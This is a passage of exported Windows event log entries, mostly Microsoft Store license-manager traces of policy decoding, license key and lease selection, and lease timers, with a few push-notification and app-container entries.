{\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"Updating lease timer for {7BA318A1-DC47-F731-723C-537E883DC563} to expire @ 2026-09-05T02:26:48Z (jitter was 43.630096 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"Added timer for {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8011\t0x21f8312a820: 18884: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8011\t0x21f831d3070: 3380: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.831\t8011\t0x21f831d3070: 3380: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:Connect => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.831\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"6ead4a77-d076-4866-9188-621a5b1f414f\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.831\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.831\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.961\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:43:11.453\t157\tThe license with Id 2da6ca43-2e6f-1f16-05ad-a9959043ddb7 has been archived successfully.  PFM if available: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:43:11.453\t116\t\"Application license successfully installed.\nPackage: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\nUser Id (if available): NULL\nLicense Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\nAssociate Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\"\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:43:11.459\t8001\t\"Licensing content 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: OneStoreApplicationLicenseManager::ActivateLicenseForContent\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (410)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.459\t8001\t\"Licensing 807d73a3-33f2-c21b-c47a-85c313d97af9 (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.459\t8002\t\"Capturing identity for LocalSystem, this probably isn't intended\nFunction: StoredIdentity::StoredIdentity\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\identity.cpp (536)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.459\t8001\t\"0000021F831F7E00: Key Machine for content: 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.459\t8011\t0x21f83133e68: 15996: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.459\t8011\t0x21f831f7e20: 15996: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.459\t8001\t\"0000021F831F7E00: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.459\t8012\t0x21f831f7e20: 15996: Key:Initial Change: Key:NegotiatingUnleased => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Considering License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Accepting key with License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Considering License ID {8CB56148-398C-A7C4-98F2-6FDC89C2093D} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Ignoring key for 807d73a3-33f2-c21b-c47a-85c313d97af9 with quality fffffff (0xc0ea0009) (no better than best)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (251)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Considering License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Accepting key with License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (better quality: 7f000000 vs 1fffffff)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (229)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Returning key document for contentid 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Getting lease for 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8001\t\"Ignoring otherwise matching lease ({33B013F2-4858-241D-9000-CA9374B3ADB5}) for Content ID 807D73A3-33F2-C21B-C47A-85C313D97AF9 because of quality 268435455 (0xc0ea000a)\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (396)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8001\t\"Adding lease {AE9143F3-8179-89B2-A3AF-FFC1D366D1AE} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8001\t\"Returning 1 lease documents for contentid 807D73A3-33F2-C21B-C47A-85C313D97AF9\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8001\t\"lease = 0x831ac3b8, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8001\t\"lease = 0x831ac3b8, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8011\t0x21f831f7e20: 15996: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8002\t\"Failure Message: hr: 0x80070490\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\misc.cpp (49)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"lease = 0x831ac3b8, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Lease Machine: 0000021F8312B200: {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Set results for lease = 0x831ac3b8, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8011\t0x21f8312b220: 18884: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8012\t0x21f8312b220: 18884: Lease:Initial Change: Lease:Valid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831ac3b8\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8012\t0x21f831f7e20: 15996: Key:NegotiatingUnleased Change: Key:Valid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8011\t0x21f831f7e20: 3380: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Updating lease timer for {2CE050AC-4159-AABB-AC60-9CED070AF672} to expire @ 2026-09-11T13:58:38Z (jitter was 32.544819 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Added timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8011\t0x21f8312b220: 18884: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8011\t0x21f831f7e20: 18884: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8012\t0x21f831f7e20: 18884: Key:Valid Change: Key:Invalid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8011\t0x21f8312b220: 15996: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8011\t0x21f8312b220: 15996: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8012\t0x21f8312b220: 15996: Lease:Valid Change: Lease:Invalid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Requesting lease document removal for reason 0x00000000, {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.466\t173\tProduct key from MSDM table redeemed. Result: 0x0\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:43:11.466\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.466\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.466\t8002\t\"Trying to remove timer {2CE050AC-4159-AABB-AC60-9CED070AF672} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.466\t8001\t\"Removed timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:12.007\t217\tDestroyed Desktop AppX container {245CDD4B-A8C9-11F1-B7FF-289200F24A99} for package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:43:19.502\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:19.502\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:19.523\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:19.523\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:19.885\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:43:28.288\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 